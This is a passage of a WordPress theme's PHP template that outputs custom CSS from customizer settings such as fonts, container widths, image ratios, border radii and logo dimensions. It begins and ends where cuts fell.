        width: 100%;
        height: 100%;
        }
        .yt-video-place {
        position: relative;
        text-align: center;
        }
        .yt-video-place.embed-responsive .start-video {
        display: block;
        top: 0;
        left: 0;
        bottom: 0;
        right: 0;
        position: absolute;
        transform: none;
        }
        .yt-video-place.embed-responsive .start-video img {
        margin: 0;
        padding: 0;
        top: 50%;
        display: inline-block;
        position: absolute;
        left: 50%;
        transform: translate(-50%, -50%);
        width: 68px;
        height: auto;
        }
        .mfp-bg {
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        z-index: 9999999;
        overflow: hidden;
        position: fixed;
        background: #0b0b0b;
        opacity: .8;
        filter: alpha(opacity=80)
        }
        .mfp-wrap {
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        z-index: 9999999;
        position: fixed;
        outline: none !important;
        -webkit-backface-visibility: hidden
        }
		<?php
		if ( $custom_container && $custom_container > 799 ) {
			echo 'body{--pcctain: ' . $custom_container . 'px}';
			if ( $custom_container > 1170 ) {
				echo '@media only screen and (min-width: 1170px) and (max-width: ' . $custom_container . 'px){ body{ --pcctain: calc( 100% - 40px ); } }';
			}
		}

		if ( $custom_container2 && $custom_container2 > 799 ) {
			echo 'body{--pcctain2: ' . $custom_container2 . 'px}';
			if ( $custom_container2 > 1400 ) {
				echo '@media only screen and (min-width: 1400px) and (max-width: ' . $custom_container2 . 'px){ body{ --pcctain2: calc( 100% - 40px ); } }';
			}
		}

		if ( $custom_scontainer && $custom_scontainer > 599 ) {
			echo 'body.single{--pcctain: ' . $custom_scontainer . 'px}';
			if ( $custom_scontainer > 1170 ) {
				echo '@media only screen and (min-width: 1170px) and (max-width: ' . $custom_scontainer . 'px){ body.single{ --pcctain: calc( 100% - 40px ); } }';
			}
		}

		if ( $custom_scontainer2 && $custom_scontainer2 > 799 ) {
			echo 'body.single{--pcctain2: ' . $custom_scontainer2 . 'px}';
			if ( $custom_scontainer2 > 1400 ) {
				echo '@media only screen and (min-width: 1400px) and (max-width: ' . $custom_scontainer2 . 'px){ body.single{ --pcctain2: calc( 100% - 40px ); } }';
			}
		}

		for ( $headings_i = 1; $headings_i <= 6; $headings_i ++ ) {
			$headings_font_size = get_theme_mod( 'penci_font_gh' . $headings_i . '_font_size' );
			$headings_mobile_font_size = get_theme_mod( 'penci_font_gh' . $headings_i . '_mfont_size' );

			if ( $headings_font_size ) {
				echo 'h' . $headings_i . '{ font-size: ' . $headings_font_size . 'px; }';
			}

			if ( $headings_mobile_font_size ) {
				echo '@media only screen and (max-width: 768px) { h' . $headings_i . '{ font-size: ' . $headings_mobile_font_size . 'px; } }';
			}
		}

		$pmeta_single_image_ratio = get_post_meta( get_the_ID(), 'penci_pfeatured_image_ratio', true );
		if ( $pmeta_single_image_ratio ) {
			$single_image_ratio = $pmeta_single_image_ratio;
		}

		$single_style = penci_get_single_style();

		if ( $single_image_ratio ) {
			$single_image_ratio  = array_filter( explode( ':', $single_image_ratio . ':' ) );
			$single_image_width  = isset( $single_image_ratio[0] ) ? $single_image_ratio[0] : '';
			$single_image_height = isset( $single_image_ratio[1] ) ? $single_image_ratio[1] : '';

			if ( $single_image_width && $single_image_height ) {
				echo '.single .penci-single-featured-img{ padding-top: ' . number_format( $single_image_height / $single_image_width * 100, 4 ) . '% !important; }';
			}
		}

		if ( get_theme_mod( 'penci_featured_image_size' ) == 'square' ) {
			echo '.penci-image-holder:before{ padding-top: 100%; }';
		} elseif ( get_theme_mod( 'penci_featured_image_size' ) == 'vertical' ) {
			echo '.penci-image-holder:before{ padding-top: 135.4%; }';
		} elseif ( get_theme_mod( 'penci_featured_image_size' ) == 'custom' ) {
			$single_image_ratio = get_theme_mod( 'penci_general_featured_image_ratio' );

			if ( $single_image_ratio ) {
				$single_image_ratio  = array_filter( explode( ':', $single_image_ratio . ':' ) );
				$single_image_width  = isset( $single_image_ratio[0] ) ? $single_image_ratio[0] : '';
				$single_image_height = isset( $single_image_ratio[1] ) ? $single_image_ratio[1] : '';

				if ( $single_image_width && $single_image_height ) {
					echo '.penci-image-holder:before{ padding-top: ' . number_format( $single_image_height / $single_image_width * 100, 4 ) . '%; }';
				}
			}
		}

		if ( get_theme_mod( 'penci_mega_featured_image_size' ) == 'square' ) {
			echo '.penci-megamenu .penci-image-holder:before{ padding-top: 100%; }';
		} elseif ( get_theme_mod( 'penci_mega_featured_image_size' ) == 'vertical' ) {
			echo '.penci-megamenu .penci-image-holder:before{ padding-top: 135.4%; }';
		} elseif ( get_theme_mod( 'penci_mega_featured_image_size' ) == 'custom' ) {
			$single_image_ratio = get_theme_mod( 'penci_mega_featured_image_ratio' );

			if ( $single_image_ratio ) {
				$single_image_ratio  = array_filter( explode( ':', $single_image_ratio . ':' ) );
				$single_image_width  = isset( $single_image_ratio[0] ) ? $single_image_ratio[0] : '';
				$single_image_height = isset( $single_image_ratio[1] ) ? $single_image_ratio[1] : '';

				if ( $single_image_width && $single_image_height ) {
					echo '.penci-megamenu .pcmis-2 .penci-image-holder:before,.penci-megamenu .pcmis-3 .penci-image-holder:before,.penci-megamenu .penci-image-holder:before{ padding-top: ' . number_format( $single_image_height / $single_image_width * 100, 4 ) . '%; }';
				}
			}
		}

		if ( function_exists( 'penci_soledad_list_self_fonts' ) ) {
			penci_soledad_list_self_fonts();
		}
		if ( function_exists( 'penci_soledad_add_custom_fonts' ) ) {
			penci_soledad_add_custom_fonts();
		}

		$selector_bg_cl   = get_theme_mod( 'penci_textselector_bgcolor' );
		$selector_text_cl = get_theme_mod( 'penci_textselector_txtcolor' );

		if ( $selector_bg_cl ) {
			?>
            ::selection {
            background: <?php echo $selector_bg_cl ?>;
            }
			<?php
		}

		if ( $selector_text_cl ) {
			?>
            ::selection {
            color: <?php echo $selector_text_cl ?>;
            }
			<?php
		}

		if ( get_theme_mod( 'penci_font_for_title' ) && '"Raleway", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif' != get_theme_mod( 'penci_font_for_title' ) ) {
			$font_family_title     = get_theme_mod( 'penci_font_for_title' );
			$font_family_title_end = $font_family_title;
			if ( ! array_key_exists( $font_family_title, penci_font_browser() ) ) {
				$font_family_title = str_replace( '"', '', $font_family_title );
				$font_title_explo  = explode( ", ", $font_family_title );
				$font_title        = isset( $font_title_explo[0] ) ? $font_title_explo[0] : '';
				$font_title_serif  = isset( $font_title_explo[2] ) ? $font_title_explo[2] : '';
				$space_end         = ', ';
				if ( empty( $font_title_serif ) ): $space_end = ''; endif;
				$font_family_title_end = "'" . $font_title . "'" . $space_end . $font_title_serif;
			}
			?>
            <?php echo $body;?> { --pchead-font: <?php echo sanitize_text_field( $font_family_title_end ); ?>; }
			<?php
		}
		?>
		<?php
		if ( get_theme_mod( 'penci_font_for_body' ) && '"PT Serif", "regular:italic:700:700italic", serif' != get_theme_mod( 'penci_font_for_body' ) ) {
			$font_family_body     = get_theme_mod( 'penci_font_for_body' );
			$font_family_body_end = $font_family_body;
			if ( ! array_key_exists( $font_family_body, penci_font_browser() ) ) {
				$font_family_body = str_replace( '"', '', $font_family_body );
				$font_body_explo  = explode( ", ", $font_family_body );
				$font_body        = isset( $font_body_explo[0] ) ? $font_body_explo[0] : '';
				$font_body_serif  = isset( $font_body_explo[2] ) ? $font_body_explo[2] : '';
				$space_body_end   = ', ';
				if ( empty( $font_body_serif ) ): $space_body_end = ''; endif;
				$font_family_body_end = "'" . $font_body . "'" . $space_body_end . $font_body_serif;
			}
			?>
            <?php echo $body;?> { --pcbody-font: <?php echo sanitize_text_field( $font_family_body_end ); ?>; } p{ line-height: 1.8; }
			<?php
		}
		if ( get_theme_mod( 'penci_font_weight_bodytext' ) ) {
			?>
            #main #bbpress-forums .bbp-login-form fieldset.bbp-form select, #main #bbpress-forums .bbp-login-form .bbp-form input[type="password"], #main #bbpress-forums .bbp-login-form .bbp-form input[type="text"], .penci-login-register input[type="email"], .penci-login-register input[type="text"], .penci-login-register input[type="password"], .penci-login-register input[type="number"], body, textarea, #respond textarea, .widget input[type="text"], .widget input[type="email"], .widget input[type="date"], .widget input[type="number"], .wpcf7 textarea, .mc4wp-form input, #respond input,
            div.wpforms-container .wpforms-form.wpforms-form input[type=date], div.wpforms-container .wpforms-form.wpforms-form input[type=datetime], div.wpforms-container .wpforms-form.wpforms-form input[type=datetime-local], div.wpforms-container .wpforms-form.wpforms-form input[type=email], div.wpforms-container .wpforms-form.wpforms-form input[type=month], div.wpforms-container .wpforms-form.wpforms-form input[type=number], div.wpforms-container .wpforms-form.wpforms-form input[type=password], div.wpforms-container .wpforms-form.wpforms-form input[type=range], div.wpforms-container .wpforms-form.wpforms-form input[type=search], div.wpforms-container .wpforms-form.wpforms-form input[type=tel], div.wpforms-container .wpforms-form.wpforms-form input[type=text], div.wpforms-container .wpforms-form.wpforms-form input[type=time], div.wpforms-container .wpforms-form.wpforms-form input[type=url], div.wpforms-container .wpforms-form.wpforms-form input[type=week], div.wpforms-container .wpforms-form.wpforms-form select, div.wpforms-container .wpforms-form.wpforms-form textarea,
            .wpcf7 input, form.pc-searchform input.search-input, ul.homepage-featured-boxes .penci-fea-in h4, .widget.widget_categories ul li span.category-item-count, .about-widget .about-me-heading, .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta { font-weight: <?php echo get_theme_mod( 'penci_font_weight_bodytext' ); ?> }
		<?php } ?>
		<?php
		if ( get_theme_mod( 'penci_font_for_slogan' ) ) {
			$font_family_slogan     = get_theme_mod( 'penci_font_for_slogan' );
			$font_family_slogan_end = $font_family_slogan;
			if ( ! array_key_exists( $font_family_slogan, penci_font_browser() ) ) {
				$font_family_slogan = str_replace( '"', '', $font_family_slogan );
				$font_slogan_explo  = explode( ", ", $font_family_slogan );
				$font_slogan        = isset( $font_slogan_explo[0] ) ? $font_slogan_explo[0] : '';
				$font_slogan_serif  = isset( $font_slogan_explo[2] ) ? $font_slogan_explo[2] : '';
				$space_slogan_end   = ', ';
				if ( empty( $font_slogan_serif ) ): $space_slogan_end = ''; endif;
				$font_family_slogan_end = "'" . $font_slogan . "'" . $space_slogan_end . $font_slogan_serif;
			}
			?>
            .header-slogan .header-slogan-text{ font-family: <?php echo sanitize_text_field( $font_family_slogan_end ); ?>;  }
		<?php } ?>
		<?php
		if ( get_theme_mod( 'penci_font_for_menu' ) ) {
			$font_family_menu     = get_theme_mod( 'penci_font_for_menu' );
			$font_family_menu_end = $font_family_menu;
			if ( ! array_key_exists( $font_family_menu, penci_font_browser() ) ) {
				$font_family_menu = str_replace( '"', '', $font_family_menu );
				$font_menu_explo  = explode( ", ", $font_family_menu );
				$font_menu        = isset( $font_menu_explo[0] ) ? $font_menu_explo[0] : '';
				$font_menu_serif  = isset( $font_menu_explo[2] ) ? $font_menu_explo[2] : '';
				$space_menu_end   = ', ';
				if ( empty( $font_menu_serif ) ): $space_menu_end = ''; endif;
				$font_family_menu_end = "'" . $font_menu . "'" . $space_menu_end . $font_menu_serif;
			}
			?>
            #navigation .menu > li > a, #navigation ul.menu ul.sub-menu li > a, .navigation ul.menu ul.sub-menu li > a, .penci-menu-hbg .menu li a, #sidebar-nav .menu li a { font-family: <?php echo sanitize_text_field( $font_family_menu_end ); ?>; font-weight: normal; }
		<?php } ?>
        .penci-hide-tagupdated{ display: none !important; }
		<?php if ( get_theme_mod( 'penci_font_style_slogan' ) ): ?>
            .header-slogan .header-slogan-text { font-style:<?php echo get_theme_mod( 'penci_font_style_slogan' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_weight_slogan' ) ): ?>
            .header-slogan .header-slogan-text { font-weight:<?php echo get_theme_mod( 'penci_font_weight_slogan' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_size_slogan' ) ): ?>
            .header-slogan .header-slogan-text { font-size:<?php echo get_theme_mod( 'penci_font_size_slogan' ); ?>px; }
		<?php endif; ?>
		<?php
		$body_size                    = get_theme_mod( 'penci_font_for_size_body' );
		if ( is_numeric( $body_size ) && $body_size > 1 && $body_size != '14' ): ?>
            body, .widget ul li a{ font-size: <?php echo absint( $body_size ); ?>px; }
            .widget ul li, .widget ol li, .post-entry, p, .post-entry p { font-size: <?php echo absint( $body_size ); ?>px; line-height: 1.8; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_font_mfor_size_body' ) && '14' != get_theme_mod( 'penci_font_mfor_size_body' ) ): ?>
            @media only screen and (max-width: 480px){ body, .widget ul li a, .widget ul li, .widget ol li, .post-entry, p, .post-entry p{ font-size: <?php echo get_theme_mod( 'penci_font_mfor_size_body' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_archive_fpagetitle' ) ): ?>
            .archive-box span, .archive-box h1{ font-size: <?php echo get_theme_mod( 'penci_archive_fpagetitle' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_archive_mobile_fpagetitle' ) ): ?>
            @media only screen and (max-width: 479px){ .archive-box span, .archive-box h1{ font-size: <?php echo get_theme_mod( 'penci_archive_mobile_fpagetitle' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_archive_uppagetitle' ) ): ?>
            .archive-box span, .archive-box h1{ text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_body_line_height' ) && '1.8' != get_theme_mod( 'penci_body_line_height' ) ): ?>
            .widget ul li, .widget ol li, .post-entry, p, .post-entry p{ line-height: <?php echo get_theme_mod( 'penci_body_line_height' ); ?>; }
		<?php endif; ?>
		<?php
		if ( get_theme_mod( 'penci_font_weight_title' ) ) {
			?>
            <?php echo $body; ?> { --pchead-wei: <?php echo get_theme_mod( 'penci_font_weight_title' ); ?>; }
			<?php
		}
		?>
		<?php if ( get_theme_mod( 'penci_image_border_radius' ) ) { ?>
			.featured-area.featured-style-42 .item-inner-content,
			.featured-style-41 .swiper-slide,
			.slider-40-wrapper .nav-thumb-creative .thumb-container:after,.penci-slider44-t-item:before,.penci-slider44-main-wrapper .item,
            .penci-image-holder, .penci-mega-post-inner, .standard-post-image img, .penci-overlay-over:before, .penci-overlay-over .overlay-border, .penci-grid li .item img,
            .penci-masonry .item-masonry a img, .penci-grid .list-post.list-boxed-post, .penci-grid li.list-boxed-post-2 .content-boxed-2, .grid-mixed,
            .penci-grid li.typography-style .overlay-typography, .penci-grid li.typography-style .overlay-typography:before, .penci-grid li.typography-style .overlay-typography:after,
            .container-single .post-image, .home-featured-cat-content .mag-photo .mag-overlay-photo, .mag-single-slider-overlay, ul.homepage-featured-boxes li .penci-fea-in:before, ul.homepage-featured-boxes li .penci-fea-in:after, ul.homepage-featured-boxes .penci-fea-in .fea-box-img:after, ul.homepage-featured-boxes li .penci-fea-in, .penci-slider38-overlay, .pcbg-thumb, .pcbg-bgoverlay, .pcrlt-style-2 .item-related .item-related-inner, .post-pagination.pcpagp-style-3 .next-post-inner, .post-pagination.pcpagp-style-3 .prev-post-inner { border-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; -webkit-border-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; }
            .penci-featured-content-right:before{ border-top-right-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; border-bottom-right-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; }
            .penci-slider4-overlay, .penci-slide-overlay .overlay-link, .featured-style-29 .featured-slider-overlay, .penci-widget-slider-overlay{ border-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; -webkit-border-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; }
            .penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content:before{ border-bottom-left-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; border-bottom-right-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; }
			.post-pagination.pcpagp-style-3 .next-post-inner,
			.post-pagination.pcpagp-style-3 .prev-post-inner,
			.pcrlt-style-2 .item-related .item-related-inner {overflow: hidden}
		<?php } ?>
		<?php if ( get_theme_mod( 'penci_slider_border_radius' ) || '0' == get_theme_mod( 'penci_slider_border_radius' ) ) { ?>
			.featured-area.featured-style-42 .item-inner-content,
			.featured-style-41 .swiper-slide,
			.slider-40-wrapper .nav-thumb-creative .thumb-container:after,.penci-slider44-t-item:before,.penci-slider44-main-wrapper .item,
            .featured-area .penci-image-holder, .featured-area .penci-slider4-overlay, .featured-area .penci-slide-overlay .overlay-link, .featured-style-29 .featured-slider-overlay, .penci-slider38-overlay{ border-radius: <?php echo get_theme_mod( 'penci_slider_border_radius' ); ?>; -webkit-border-radius: <?php echo get_theme_mod( 'penci_slider_border_radius' ); ?>; }
            .penci-featured-content-right:before{ border-top-right-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; border-bottom-right-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; }
            .penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content:before{ border-bottom-left-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; border-bottom-right-radius: <?php echo get_theme_mod( 'penci_image_border_radius' ); ?>; }
		<?php } ?>
		<?php if ( get_theme_mod( 'penci_post_featured_image_radius' ) || '0' == get_theme_mod( 'penci_post_featured_image_radius' ) ) { ?>
            .container-single .post-image{ border-radius: <?php echo get_theme_mod( 'penci_post_featured_image_radius' ); ?>; -webkit-border-radius: <?php echo get_theme_mod( 'penci_post_featured_image_radius' ); ?>; }
		<?php } ?>
		<?php if ( get_theme_mod( 'penci_megamenu_border_radius' ) || '0' == get_theme_mod( 'penci_megamenu_border_radius' ) ) { ?>
            .penci-mega-post-inner, .penci-mega-thumbnail .penci-image-holder{ border-radius: <?php echo get_theme_mod( 'penci_megamenu_border_radius' ); ?>; -webkit-border-radius: <?php echo get_theme_mod( 'penci_megamenu_border_radius' ); ?>; }
		<?php } ?>

		<?php if ( get_theme_mod( 'penci_separator_post_meta' ) ) {
			$separator_meta           = get_theme_mod( 'penci_separator_post_meta' );
			$separator_meta_selectors = '.penci-magazine-slider .mag-item-1 .mag-meta-child span:after, .penci-magazine-slider .mag-meta-child span:after, .post-box-meta-single > span:before, .standard-top-meta > span:before, .penci-mag-featured-content .feat-meta > span:after, .penci-featured-content .feat-text .feat-meta > span:after, .featured-style-35 .featured-content-excerpt .feat-meta > span:after, .penci-post-box-meta .penci-box-meta span:after, .grid-post-box-meta span:after, .overlay-post-box-meta > div:after';
			?>
			<?php if ( 'horiline' == $separator_meta ) { ?>
				<?php echo $separator_meta_selectors; ?>{ height: 1px; width: 5px; border: none; border-top: 1px solid; vertical-align: middle; }
			<?php } else if ( 'bcricle' == $separator_meta ) { ?>
				<?php echo $separator_meta_selectors; ?>{ box-sizing: border-box; -webkit-box-sizing: border-box; width: 4px; height: 4px; border: 1px solid; border-radius: 2px; transform: translateY(-2px); -webkit-transform: translateY(-2px); }
			<?php } else if ( 'circle' == $separator_meta ) { ?>
				<?php echo $separator_meta_selectors; ?>{ box-sizing: border-box; -webkit-box-sizing: border-box; width: 4px; height: 4px; border: 2px solid; border-radius: 2px; transform: translateY(-2px); -webkit-transform: translateY(-2px); }
			<?php } else if ( 'bsquare' == $separator_meta ) { ?>
				<?php echo $separator_meta_selectors; ?>{ box-sizing: border-box; -webkit-box-sizing: border-box; width: 4px; height: 4px; border: 1px solid; transform: translateY(-2px); -webkit-transform: translateY(-2px); }
			<?php } else if ( 'square' == $separator_meta ) { ?>
				<?php echo $separator_meta_selectors; ?>{ box-sizing: border-box; -webkit-box-sizing: border-box; width: 4px; height: 4px; border: 2px solid; transform: translateY(-2px); -webkit-transform: translateY(-2px); }
			<?php } else if ( 'diamond' == $separator_meta ) { ?>
				<?php echo $separator_meta_selectors; ?>{ box-sizing: border-box; -webkit-box-sizing: border-box; width: 4px; height: 4px; border: 2px solid; transform: translateY(-2px) rotate(45deg); -webkit-transform: translateY(-2px) rotate(45deg); }
			<?php } else if ( 'bdiamond' == $separator_meta ) { ?>
				<?php echo $separator_meta_selectors; ?>{ margin: 0 12px 0 12px; box-sizing: border-box; -webkit-box-sizing: border-box; width: 5px; height: 5px; border: 1px solid; transform: translateY(-2px) rotate(45deg); -webkit-transform: translateY(-2px) rotate(45deg); }
			<?php } ?>
		<?php } ?>

		<?php if ( get_theme_mod( 'penci_separator_cat' ) ) {
			$separator_cat           = get_theme_mod( 'penci_separator_cat' );
			$separator_cat_selectors = '.cat > a.penci-cat-name:after';
			?>
			<?php if ( 'horiline' == $separator_cat ) { ?>
				<?php echo $separator_cat_selectors; ?>{ height: 1px; width: 5px; border: none; border-top: 1px solid; vertical-align: middle; transform: none; margin-top: 0; }
			<?php } else if ( 'bcricle' == $separator_cat ) { ?>
				<?php echo $separator_cat_selectors; ?>{ width: 4px; height: 4px; box-sizing: border-box; -webkit-box-sizing: border-box; transform: none; border-radius: 2px; margin-top: -2px; }
			<?php } else if ( 'circle' == $separator_cat ) { ?>
				<?php echo $separator_cat_selectors; ?>{ width: 4px; height: 4px; box-sizing: border-box; -webkit-box-sizing: border-box; transform: none; border-radius: 2px; margin-top: -2px; border-width: 2px; }
			<?php } else if ( 'bsquare' == $separator_cat ) { ?>
				<?php echo $separator_cat_selectors; ?>{ width: 4px; height: 4px; box-sizing: border-box; -webkit-box-sizing: border-box; transform: none; margin-top: -2px; }
			<?php } else if ( 'square' == $separator_cat ) { ?>
				<?php echo $separator_cat_selectors; ?>{ width: 4px; height: 4px; box-sizing: border-box; -webkit-box-sizing: border-box; transform: none; margin-top: -2px; border-width: 2px; }
			<?php } else if ( 'diamond' == $separator_cat ) { ?>
				<?php echo $separator_cat_selectors; ?>{ width: 4px; height: 4px; box-sizing: border-box; -webkit-box-sizing: border-box; margin-top: -2px; border-width: 2px; }
			<?php } else if ( 'verline' == $separator_cat ) { ?>
				<?php echo $separator_cat_selectors; ?>{ height: 8px; width: 1px; border: none; border-right: 1px solid; transform: none; margin-top: -4px; }
			<?php } ?>
		<?php } ?>

		<?php if ( get_theme_mod( 'penci_catdesign' ) ) {
			$pccatdesign = get_theme_mod( 'penci_catdesign' ); ?>
            .cat > a.penci-cat-name{ font-size: 11px; padding: 2px 7px; color: #fff; line-height: 14px; background: rgba(0, 0, 0, 0.8); margin: 0 6px 5px 0; }
            .cat > a.penci-cat-name:last-child{ padding: 2px 7px; }
            body.rtl .cat > a.penci-cat-name{ margin-left: 6px; margin-right: 0; }
            .cat > a.penci-cat-name:hover{ background: var(--pcaccent-cl); }
            .cat > a.penci-cat-name:after{ content: none; display: none; }
            body.pcdm-enable.pcdark-mode .cat > a.penci-cat-name{ background:var(--pcbg-l-cl); color:var(--pctext-cl) !important; }
            body.pcdm-enable.pcdark-mode .cat > a.penci-cat-name:hover{ background:var(--pcaccent-cl); color:var(--pctext-cl) !important; }
			<?php if ( 'fillr' == $pccatdesign ): ?>
                .cat > a.penci-cat-name{ border-radius: 3px; -webkit-border-radius: 3px; }
			<?php endif; ?>
			<?php if ( 'fillc' == $pccatdesign ): ?>
                .cat > a.penci-cat-name{ border-radius: 20px; -webkit-border-radius: 20px;}
                .cat > a.penci-cat-name, .cat > a.penci-cat-name:last-child{ padding: 2px 10px; }
			<?php endif; ?>
		<?php } ?>
		<?php if ( get_theme_mod( 'penci_cfiled_cl' ) ) { ?>
            .pccatds-filled .cat > a.penci-cat-name{ color: <?php echo get_theme_mod( 'penci_cfiled_cl' ); ?>; }
		<?php } ?>
		<?php if ( get_theme_mod( 'penci_cfiled_bgcl' ) ) { ?>
            .pccatds-filled .cat > a.penci-cat-name{ background-color: <?php echo get_theme_mod( 'penci_cfiled_bgcl' ); ?>; }
		<?php } ?>
		<?php if ( get_theme_mod( 'penci_cfiled_hcl' ) ) { ?>
            .pccatds-filled .cat > a.penci-cat-name:hover{ color: <?php echo get_theme_mod( 'penci_cfiled_hcl' ); ?>; }
		<?php } ?>
		<?php if ( get_theme_mod( 'penci_cfiled_hbgcl' ) ) { ?>
            .pccatds-filled .cat > a.penci-cat-name:hover{ background-color: <?php echo get_theme_mod( 'penci_cfiled_hbgcl' ); ?>; }
		<?php } ?>
		<?php if ( get_theme_mod( 'penci_font_weight_menu' ) ) { ?>
            #navigation .menu > li > a, #navigation ul.menu ul.sub-menu li > a, .navigation ul.menu ul.sub-menu li > a, .penci-menu-hbg .menu li a, #sidebar-nav .menu li a, #navigation .penci-megamenu .penci-mega-child-categories a, .navigation .penci-megamenu .penci-mega-child-categories a{ font-weight: <?php echo get_theme_mod( 'penci_font_weight_menu' ); ?>; }
		<?php } ?>
		<?php if ( get_theme_mod( 'penci_body_boxed_bg_color' ) ): ?>
            body.penci-body-boxed { background-color:<?php echo get_theme_mod( 'penci_body_boxed_bg_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_body_boxed_bg_image' ) ): ?>
            body.penci-body-boxed { background-image: url(<?php echo get_theme_mod( 'penci_body_boxed_bg_image' ); ?>); }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_body_boxed_bg_repeat' ) ): ?>
            body.penci-body-boxed { background-repeat:<?php echo get_theme_mod( 'penci_body_boxed_bg_repeat' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_body_boxed_bg_attachment' ) ): ?>
            body.penci-body-boxed { background-attachment:<?php echo get_theme_mod( 'penci_body_boxed_bg_attachment' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_body_boxed_bg_size' ) ): ?>
            body.penci-body-boxed { background-size:<?php echo get_theme_mod( 'penci_body_boxed_bg_size' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_padding' ) ): ?>
            #header .inner-header .container { padding:<?php echo get_theme_mod( 'penci_header_padding' ); ?>px 0; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_logo_max_width' ) && get_theme_mod( 'penci_logo_max_width' ) > 0 ): ?>
            #logo a { max-width:<?php echo get_theme_mod( 'penci_logo_max_width' ); ?>px; width: 100%; }
            @media only screen and (max-width: 960px) and (min-width: 768px){ #logo img{ max-width: 100%; } }
			<?php if ( get_theme_mod( 'penci_logo' ) ) {
				$logo_url_upload = get_theme_mod( 'penci_logo' );
				$logo_type       = wp_check_filetype( $logo_url_upload );
				if ( 'svg' == $logo_type['ext'] ) {
					echo '#logo a img, #navigation.header-6 #logo img{ width: 100%; }';
				}
			} ?>
		<?php endif; ?>
		<?php
		/* CSL for logo img */
		if ( get_theme_mod( 'penci_logo' ) && ! is_user_logged_in() && get_theme_mod( 'penci_enable_spoptimizer' ) && function_exists( 'hpp_shouldlazy' ) && hpp_shouldlazy() ) {
			$logo_src_data   = get_theme_mod( 'penci_logo' );
			$logo_src_width  = penci_get_image_data_basedurl( $logo_src_data, 'w' );
			$logo_src_height = penci_get_image_data_basedurl( $logo_src_data, 'h' );
			if ( $logo_src_width && $logo_src_height ) {
				$logo_maxwidth      = get_theme_mod( 'penci_logo_max_width' );
				$logo_src_ratio     = $logo_src_height / $logo_src_width;
				$array_logo_width   = array( 1170 );
				$array_logo_width[] = (int) $logo_src_width;
				if ( $logo_maxwidth ) {
					$logo_src_mw_data   = get_theme_mod( 'penci_logo_max_width' );
					$array_logo_width[] = (int) $logo_src_mw_data;
				}
				$logo_height_desktop = round( min( $array_logo_width ) * $logo_src_ratio );
				if ( $logo_src_width > 355 ) {
					if ( ! $logo_maxwidth || ( $logo_maxwidth && ( $logo_maxwidth > 355 ) ) ) {
						$logo_height_mobile = round( 355 * $logo_src_ratio );
					} elseif ( $logo_maxwidth && ( $logo_maxwidth < 355 ) ) {
						$logo_height_mobile = round( $logo_maxwidth * $logo_src_ratio );
					}
				}
				echo '@media only screen and (min-width: 1170px){.inner-header img.pclogo-cls{ width: auto; height:' . $logo_height_desktop . 'px;}}';
				echo '@media only screen and (max-width: 479px){.inner-header img.pclogo-cls{ width: auto; height:' . $logo_height_mobile . 'px;}}';
			}
		}
		if ( get_theme_mod( 'penci_logo_height' ) ): ?>
            @media only screen and (min-width: 1170px){.inner-header #logo img{ width: auto; height:<?php echo get_theme_mod( 'penci_logo_height' ); ?>px; }}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_logo_height_mobile' ) ): ?>
            @media only screen and (max-width: 479px){ .inner-header #logo img{ width: auto; height:<?php echo get_theme_mod( 'penci_logo_height_mobile' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_logo_max_width_overflow' ) && get_theme_mod( 'penci_logo_max_width_overflow' ) > 0 ): ?>
            @media only screen and (min-width: 960px){.is-sticky #navigation.penci-logo-overflow.header-10 #logo a, .is-sticky #navigation.penci-logo-overflow.header-11 #logo a{ max-width:<?php echo get_theme_mod( 'penci_logo_max_width_overflow' ); ?>px; }}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_page_custom_width' ) ): ?>
            .penci-page-container-smaller { max-width:<?php echo get_theme_mod( 'penci_page_custom_width' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_page_title_uppercase' ) ): ?>
            .penci-page-header h1 { text-transform: none; }
		<?php endif; ?>
		<?php echo penci_renders_css( '.penci-page-header h1', 'penci_page_title_fsize' ); ?>
		<?php if ( get_theme_mod( 'penci_pagetitle_color' ) ): ?>
            .penci-page-header h1 { color: <?php echo get_theme_mod( 'penci_pagetitle_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_page_sharetext_fsize' ) ): ?>
            .tags-share-box.hide-tags.page-share .share-title{ font-size: <?php echo get_theme_mod( 'penci_page_sharetext_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_page_shareicon_fsize' ) ): ?>
